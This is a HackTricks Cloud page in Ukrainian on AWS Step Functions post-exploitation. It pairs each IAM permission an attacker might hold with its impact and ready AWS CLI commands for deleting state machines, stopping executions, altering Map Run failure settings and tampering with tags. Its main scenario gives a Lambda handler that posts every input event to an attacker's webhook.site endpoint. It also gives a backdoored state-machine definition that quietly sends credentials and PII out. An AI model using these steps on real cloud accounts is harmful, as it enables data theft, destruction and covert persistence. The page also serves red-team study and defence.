AWS - Step Functions Post Exploitation
Reading time: 6 minutes
tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Step Functions
Для отримання додаткової інформації про цю службу AWS див.:
states:RevealSecrets
Цей дозвіл дозволяє розкривати секретні дані всередині виконання. Для цього потрібно встановити Inspection level на TRACE та параметр revealSecrets у true.
.png)
states:DeleteStateMachine, states:DeleteStateMachineVersion, states:DeleteStateMachineAlias
Зловмисник з такими дозволами зможе назавжди видаляти state machines, їхні версії та aliases. Це може порушити критично важливі робочі процеси, призвести до втрати даних і вимагати значного часу та зусиль для відновлення уражених state machines. Крім того, це дозволить зловмисникові приховати використані сліди, перешкодити судово-технічним розслідуванням і потенційно вивести з ладу операції шляхом видалення необхідних автоматизаційних процесів та конфігурацій станів.
note
- Видаляючи state machine, ви також видаляєте всі її пов'язані версії та aliases.
- Видаляючи state machine alias, ви не видаляєте state machine versions, які посилаються на цей alias.
- Наразі неможливо видалити state machine version, що наразі посилається одним або кількома aliases.
# Delete state machine
aws stepfunctions delete-state-machine --state-machine-arn <value>
# Delete state machine version
aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
# Delete state machine alias
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
- Потенційний вплив: Порушення критичних робочих процесів, втрата даних і операційні простої.
states:UpdateMapRun
Зловмисник із цим дозволом зможе маніпулювати конфігурацією відмов Map Run та налаштуванням паралельності, збільшуючи або зменшуючи максимально допустиму кількість виконань дочірніх workflow, що безпосередньо впливатиме на надійність і продуктивність сервісу. Крім того, зловмисник може змінити допустимий відсоток і кількість відмов, знизивши це значення до 0, через що при кожній невдачі елемента весь Map Run буде провалюватися, безпосередньо впливаючи на виконання state machine і потенційно порушуючи критичні робочі процеси.
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
- Potential Impact: Погіршення продуктивності та порушення критичних робочих процесів.
states:StopExecution
Зловмисник з таким дозволом може зупинити виконання будь-якої state machine, перервавши поточні робочі процеси та процеси. Це може призвести до неповних транзакцій, призупинення бізнес-операцій та потенційного пошкодження даних.
warning
Ця дія не підтримується express state machines.
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
- Потенційний вплив: Порушення поточних робочих процесів, операційні простої та можливе пошкодження даних.
states:TagResource, states:UntagResource
Зловмисник може додавати, змінювати або видаляти tags з ресурсів Step Functions, порушуючи розподіл витрат у вашій організації, відстеження ресурсів та політики контролю доступу, засновані на tags.
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
Потенційний вплив: Порушення розподілу витрат, відстеження ресурсів та політик контролю доступу на основі тегів.
states:UpdateStateMachine, lambda:UpdateFunctionCode
Зловмисник, який скомпрометував користувача або роль з такими дозволами:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowUpdateStateMachine",
"Effect": "Allow",
"Action": "states:UpdateStateMachine",
"Resource": "*"
},
{
"Sid": "AllowUpdateFunctionCode",
"Effect": "Allow",
"Action": "lambda:UpdateFunctionCode",
"Resource": "*"
}
]
}
...може провести високого впливу та прихований post-exploitation attack шляхом комбінування Lambda backdooring з Step Function logic manipulation.
У цьому сценарії припускається, що жертва використовує AWS Step Functions для оркестрації робочих процесів, що обробляють конфіденційну інформацію, таку як облікові дані, токени або PII.
Приклад виклику жертви:
aws stepfunctions start-execution \
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
Якщо Step Function налаштовано на виклик Lambda, наприклад LegitBusinessLogic, attacker може перейти до two stealthy attack variants:
Оновлено lambda function
attacker змінює код Lambda function, який вже використовується Step Function (LegitBusinessLogic), щоб приховано exfiltrate вхідні дані.
# send_to_attacker.py
import requests
def lambda_handler(event, context):
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
return {"status": "exfiltrated"}
zip function.zip send_to_attacker.py
aws lambda update-function-code \
--function-name LegitBusinessLogic \
--zip-file fileb://function.zip -profile attacker
Додати шкідливий стан до Step Function
Альтернативно, зловмисник може впровадити exfiltration state на початку робочого процесу, оновивши визначення Step Function.
{
"Comment": "Backdoored for Exfiltration",
"StartAt": "OriginalState",
"States": {
"OriginalState": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
"End": true
}
}
}
aws stepfunctions update-state-machine \
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
--definition file://malicious_state_definition.json --profile attacker
Атакувальник може діяти ще більш приховано, оновивши визначення стану на щось на кшталт цього { "Comment": "Backdoored for Exfiltration", "StartAt": "ExfiltrateSecrets", "States": { "ExfiltrateSecrets": { "Type": "Task", "Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker", "InputPath": "$", "ResultPath": "$.exfil", "Next": "OriginalState" }, "OriginalState": { "Type": "Task", "Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic", "End": true } } } де жертва не помітить змін
Налаштування жертви (Context for Exploit)
- A Step Function (
LegitStateMachine) використовується для обробки конфіденційних даних користувача. - Вона викликає одну або кілька Lambda-функцій, таких як
LegitBusinessLogic.
Потенційний вплив:
- Тихе exfiltration конфіденційних даних, включаючи secrets, credentials, API keys та PII.
- Відсутність видимих помилок або збоїв при виконанні workflow.
- Складно виявити без аудиту коду Lambda або аналізу execution traces.
- Дозволяє довготривалу персистентність, якщо backdoor залишається в коді або логіці ASL.
tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
HackTricks Cloud